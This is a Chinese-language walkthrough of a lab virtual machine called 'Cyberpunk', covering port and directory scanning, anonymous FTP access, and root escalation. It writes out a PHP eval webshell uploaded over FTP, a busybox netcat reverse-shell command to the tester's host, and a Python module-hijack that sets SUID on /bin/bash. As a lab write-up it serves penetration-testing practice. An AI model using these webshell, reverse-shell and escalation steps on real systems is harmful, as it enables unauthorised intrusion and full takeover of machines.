Cyberpunk

image

信息搜集

192.168.43.165

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
┌──(root㉿Eecho)-[~]
└─# rustscan -a 192.168.43.165 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where scanning meets swagging. 😎

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'.
Open 192.168.43.165:21
Open 192.168.43.165:22
Open 192.168.43.165:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.165
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-21 16:36 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:36
Completed NSE at 16:36, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:36
Completed NSE at 16:36, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:36
Completed NSE at 16:36, 0.00s elapsed
Initiating ARP Ping Scan at 16:36
Scanning 192.168.43.165 [1 port]
Completed ARP Ping Scan at 16:36, 0.03s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 16:36
Completed Parallel DNS resolution of 1 host. at 16:36, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 3, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 16:36
Scanning 192.168.43.165 [3 ports]
Discovered open port 80/tcp on 192.168.43.165
Discovered open port 21/tcp on 192.168.43.165
Discovered open port 22/tcp on 192.168.43.165
Completed SYN Stealth Scan at 16:36, 0.01s elapsed (3 total ports)
Initiating Service scan at 16:36
Scanning 3 services on 192.168.43.165
Completed Service scan at 16:37, 28.54s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 192.168.43.165
NSE: Script scanning 192.168.43.165.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:37
NSE: [ftp-bounce 192.168.43.165:21] PORT response: 500 Orden PORT ilegal
Completed NSE at 16:37, 0.48s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.68s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Nmap scan report for 192.168.43.165
Host is up, received arp-response (0.00056s latency).
Scanned at 2026-05-21 16:36:53 CST for 31s

PORT   STATE SERVICE REASON         VERSION
21/tcp open  ftp     syn-ack ttl 64
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x   2 0        0            4096 May  1  2024 images
| -rw-r--r--   1 0        0             713 May  1  2024 index.html
|_-rw-r--r--   1 0        0             923 May  1  2024 secret.txt
| fingerprint-strings:
|   GenericLines:
|     220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.43.165]
|     Orden incorrecta: Intenta ser m
|     creativo
|     Orden incorrecta: Intenta ser m
|     creativo
|   Help:
|     220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.43.165]
|     214-Se reconocen las siguiente
|     rdenes (* =>'s no implementadas):
|     XCWD CDUP XCUP SMNT* QUIT PORT PASV
|     EPRT EPSV ALLO RNFR RNTO DELE MDTM RMD
|     XRMD MKD XMKD PWD XPWD SIZE SYST HELP
|     NOOP FEAT OPTS HOST CLNT AUTH* CCC* CONF*
|     ENC* MIC* PBSZ* PROT* TYPE STRU MODE RETR
|     STOR STOU APPE REST ABOR RANG USER PASS
|     ACCT* REIN* LIST NLST STAT SITE MLSD MLST
|     comentario a root@Cyberpunk
|   NULL, SMBProgNeg, SSLSessionReq:
|_    220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.43.165]
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 6d:b5:c8:65:8d:1f:8a:98:76:93:26:27:df:29:72:4a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAnHm3957YYGt8rfRvzHqG93RImKV9IYDIv7hlX6IeXjLPQeUt0SLmvlRnSe6tTslYaehhRZFeEm5I4x01fWvBU=
|   256 a5:83:2a:8f:eb:c6:f1:0b:e0:e6:d8:e1:05:3b:4c:a5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAp8VVcsExMwfXIMGPWN7XVZ245GSye6606JR76CrjaL
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))
| http-methods:
|_  Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.59 (Debian)
|_http-title: Arasaka
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.99%I=7%D=5/21%Time=6A0EC42B%P=x86_64-pc-linux-gnu%r(NULL
SF:,3A,"220\x20Servidor\x20ProFTPD\x20\(Cyberpunk\)\x20\[::ffff:192\.168\.
SF:43\.165\]\r\n")%r(GenericLines,9C,"220\x20Servidor\x20ProFTPD\x20\(Cybe
SF:rpunk\)\x20\[::ffff:192\.168\.43\.165\]\r\n500\x20Orden\x20incorrecta:\
SF:x20Intenta\x20ser\x20m\xc3\xa1s\x20creativo\r\n500\x20Orden\x20incorrec
SF:ta:\x20Intenta\x20ser\x20m\xc3\xa1s\x20creativo\r\n")%r(Help,27B,"220\x
SF:20Servidor\x20ProFTPD\x20\(Cyberpunk\)\x20\[::ffff:192\.168\.43\.165\]\
SF:r\n214-Se\x20reconocen\x20las\x20siguiente\x20\xc3\xb3rdenes\x20\(\*\x2
SF:0=>'s\x20no\x20implementadas\):\r\n\x20CWD\x20\x20\x20\x20\x20XCWD\x20\
SF:x20\x20\x20CDUP\x20\x20\x20\x20XCUP\x20\x20\x20\x20SMNT\*\x20\x20\x20QU
SF:IT\x20\x20\x20\x20PORT\x20\x20\x20\x20PASV\x20\x20\x20\x20\r\n\x20EPRT\
SF:x20\x20\x20\x20EPSV\x20\x20\x20\x20ALLO\x20\x20\x20\x20RNFR\x20\x20\x20
SF:\x20RNTO\x20\x20\x20\x20DELE\x20\x20\x20\x20MDTM\x20\x20\x20\x20RMD\x20
SF:\x20\x20\x20\x20\r\n\x20XRMD\x20\x20\x20\x20MKD\x20\x20\x20\x20\x20XMKD
SF:\x20\x20\x20\x20PWD\x20\x20\x20\x20\x20XPWD\x20\x20\x20\x20SIZE\x20\x20
SF:\x20\x20SYST\x20\x20\x20\x20HELP\x20\x20\x20\x20\r\n\x20NOOP\x20\x20\x2
SF:0\x20FEAT\x20\x20\x20\x20OPTS\x20\x20\x20\x20HOST\x20\x20\x20\x20CLNT\x
SF:20\x20\x20\x20AUTH\*\x20\x20\x20CCC\*\x20\x20\x20\x20CONF\*\x20\x20\x20
SF:\r\n\x20ENC\*\x20\x20\x20\x20MIC\*\x20\x20\x20\x20PBSZ\*\x20\x20\x20PRO
SF:T\*\x20\x20\x20TYPE\x20\x20\x20\x20STRU\x20\x20\x20\x20MODE\x20\x20\x20
SF:\x20RETR\x20\x20\x20\x20\r\n\x20STOR\x20\x20\x20\x20STOU\x20\x20\x20\x2
SF:0APPE\x20\x20\x20\x20REST\x20\x20\x20\x20ABOR\x20\x20\x20\x20RANG\x20\x
SF:20\x20\x20USER\x20\x20\x20\x20PASS\x20\x20\x20\x20\r\n\x20ACCT\*\x20\x2
SF:0\x20REIN\*\x20\x20\x20LIST\x20\x20\x20\x20NLST\x20\x20\x20\x20STAT\x20
SF:\x20\x20\x20SITE\x20\x20\x20\x20MLSD\x20\x20\x20\x20MLST\x20\x20\x20\x2
SF:0\r\n214\x20Env\xc3\xada\x20comentario\x20a\x20root@Cyberpunk\r\n")%r(S
SF:SLSessionReq,3A,"220\x20Servidor\x20ProFTPD\x20\(Cyberpunk\)\x20\[::fff
SF:f:192\.168\.43\.165\]\r\n")%r(SMBProgNeg,3A,"220\x20Servidor\x20ProFTPD
SF:\x20\(Cyberpunk\)\x20\[::ffff:192\.168\.43\.165\]\r\n");
MAC Address: 08:00:27:29:7C:25 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
TCP/IP fingerprint:
OS:SCAN(V=7.99%E=4%D=5/21%OT=21%CT=%CU=37099%PV=Y%DS=1%DC=D%G=N%M=080027%TM
OS:=6A0EC444%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=2%ISR=10B%TI=Z%CI=Z%II=I%
OS:TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5
OS:=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=
OS:FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%
OS:A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0
OS:%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S
OS:=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R
OS:=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N
OS:%T=40%CD=S)

Uptime guess: 35.420 days (since Thu Apr 16 06:32:00 2026)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: Host: Servidor; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.43.165

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.78 seconds
           Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
  • 21 FTP
  • 22 SSH
  • 80 HTTP

目录扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# gobuster dir -u http://192.168.43.165 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,back,cgi,jpg,json,md
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.43.165
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              jpg,json,md,php,txt,html,back,cgi
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 713]
images               (Status: 301) [Size: 317] [--> http://192.168.43.165/images/]
secret.txt           (Status: 200) [Size: 923]

‍

FTP 枚举

rustscan扫描出FTP存在匿名登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ftp anonymous@192.168.43.165
Connected to 192.168.43.165.
220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.43.165]
331 Conexión anónima ok, envía tu dirección de email como contraseña
Password:
230 Aceptado acceso anónimo, aplicadas restricciones
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||49126|)
150 Abriendo conexión de datos en modo ASCII para file list
drwxr-xr-x   2 0        0            4096 May  1  2024 images
-rw-r--r--   1 0        0             713 May  1  2024 index.html
-rw-r--r--   1 0        0             923 May  1  2024 secret.txt
226 Transferencia completada
ftp> get i
images          index.html
ftp> get index.html
local: index.html remote: index.html
229 Entering Extended Passive Mode (|||30248|)
150 Opening BINARY mode data connection for index.html (713 bytes)
100% |***********************************************************************************************************************|   713        1.53 MiB/s    00:00 ETA
226 Transferencia completada
713 bytes received in 00:00 (515.00 KiB/s)
ftp> get secret.txt
local: secret.txt remote: secret.txt
229 Entering Extended Passive Mode (|||24822|)
150 Opening BINARY mode data connection for secret.txt (923 bytes)
100% |***********************************************************************************************************************|   923        1.20 MiB/s    00:00 ETA
226 Transferencia completada
923 bytes received in 00:00 (469.46 KiB/s)
ftp> cd images
250 orden CWD ejecutada correctamente
ftp> ls
229 Entering Extended Passive Mode (|||59052|)
150 Abriendo conexión de datos en modo ASCII para file list
-rw-r--r--   1 0        0          140207 May  1  2024 netrunner.jpeg
226 Transferencia completada
ftp> get netrunner.jpeg
local: netrunner.jpeg remote: netrunner.jpeg
229 Entering Extended Passive Mode (|||6217|)
150 Opening BINARY mode data connection for netrunner.jpeg (140207 bytes)
100% |***********************************************************************************************************************|   136 KiB   22.51 MiB/s    00:00 ETA
226 Transferencia completada
140207 bytes received in 00:00 (17.76 MiB/s)
ftp> ^D
221 Hasta luego

可以发现和前面的扫描出来的web目录是一样的，那么我们上传一个webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# vim webshell.php
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# cat webshell.php
<?php @eval($_GET["cmd"])?>
┌──(root㉿Eecho)-[/tmp/bbbb]
└─#
┌──(root㉿Eecho)-[/tmp/bbbb]
└─# ftp anonymous@192.168.43.165
Connected to 192.168.43.165.
220 Servidor ProFTPD (Cyberpunk) [::ffff:192.168.43.165]
331 Conexión anónima ok, envía tu dirección de email como contraseña
Password:
230 Aceptado acceso anónimo, aplicadas restricciones
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> put webshell.php
local: webshell.php remote: webshell.php
229 Entering Extended Passive Mode (|||46500|)
150 Abriendo conexión de datos en modo BINARY para webshell.php
100% |***********************************************************************************************************************|    29        1.53 MiB/s    00:00 ETA
226 Transferencia completada
29 bytes sent in 00:00 (13.31 KiB/s)
ftp> ls
229 Entering Extended Passive Mode (|||14612|)
150 Abriendo conexión de datos en modo ASCII para file list
drwxr-xr-x   2 0        0            4096 May  1  2024 images
-rw-r--r--   1 0        0             713 May  1  2024 index.html
-rw-r--r--   1 0        0             923 May  1  2024 secret.txt
-rw-r--r--   1 ftp      nogroup        29 May 21 08:46 webshell.php
226 Transferencia completada
ftp>

web页面访问/webshell.php

image

可以进行rce，那么直接反弹shell

1
http://192.168.43.165/webshell.php?cmd=system("busybox nc 192.168.43.6 7777 -e sh");

image

‍

提权

www -> arasaka

在/opt目录下有个arasaka.txt里面是Brainfuck加密的。使用在线网站解密

1
2
3
www-data@Cyberpunk:/opt$ cat arasaka.txt
++++++++++[>++++++++++>++++++++++++>++++++++++>++++++++++>+++++++++++>+++++++++++>++++++++++++>+++++++++++>+++++++++++>+++++>+++++>++++++<<<<<<<<<<<<-]>-.>+.>--.>+.>++++.>++.>---.>.>---.>.>--.>-----..
www-data@Cyberpunk:/opt$

image

猜测这可能是用户arasaka的凭证，尝试登录

成功登录到arasaka用户

1
2
3
4
5
www-data@Cyberpunk:/opt$ su arasaka
Password:
arasaka@Cyberpunk:/opt$ id
uid=1000(arasaka) gid=1000(arasaka) grupos=1000(arasaka),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)
arasaka@Cyberpunk:/opt$

‍

arasaka -> root

1
2
3
4
5
6
7
arasaka@Cyberpunk:/opt$ sudo -l
[sudo] contraseña para arasaka:
Matching Defaults entries for arasaka on Cyberpunk:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User arasaka may run the following commands on Cyberpunk:
    (root) PASSWD: /usr/bin/python3.11 /home/arasaka/randombase64.py

可以利用/home/arasaka/randombase64.py进行提权

1
2
3
4
5
6
7
8
9
10
arasaka@Cyberpunk:/opt$ ls -al /home/arasaka/randombase64.py
-rwxr-xr-x 1 root root 207 may  1  2024 /home/arasaka/randombase64.py
arasaka@Cyberpunk:/opt$ cat /home/arasaka/randombase64.py
import base64
message = input("Enter your string")
message_bytes = message.encode("ascii")
base64_bytes = base64.b64encode(message_bytes)
base64_message = base64_bytes.decode("ascii")

print(base64_message)

Python 库劫持

randombase64.py脚本导入了base64模块，而根据 Python 的标准寻道规则它首先会检查当前工作目录（Current Working Directory） 。如果当前目录下有一个名为 base64.py 的文件，Python 就会直接加载它，而不会去系统目录加载官方的标准库。

同时randombase64.py又位于/home/arasaka目录下，当前又是arasaka用户，所以有写权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
arasaka@Cyberpunk:~$ cd /home/arasaka/
arasaka@Cyberpunk:~$ ls -al /bin/bash
-rwxr-xr-x 1 root root 1265648 abr 23  2023 /bin/bash
arasaka@Cyberpunk:~$ echo 'import os; os.system("chmod +s /bin/bash")' > base64.py
arasaka@Cyberpunk:~$ sudo /usr/bin/python3.11 /home/arasaka/randombase64.py
Enter your string
Traceback (most recent call last):
  File "/home/arasaka/randombase64.py", line 4, in <module>
    base64_bytes = base64.b64encode(message_bytes)
                   ^^^^^^^^^^^^^^^^
AttributeError: module 'base64' has no attribute 'b64encode'
arasaka@Cyberpunk:~$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1265648 abr 23  2023 /bin/bash
arasaka@Cyberpunk:~$

切换到root用户

1
2
3
4
arasaka@Cyberpunk:~$ /bin/bash -p
bash-5.2# id
uid=1000(arasaka) gid=1000(arasaka) euid=0(root) egid=0(root) grupos=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev),1000(arasaka)
bash-5.2#

image

‍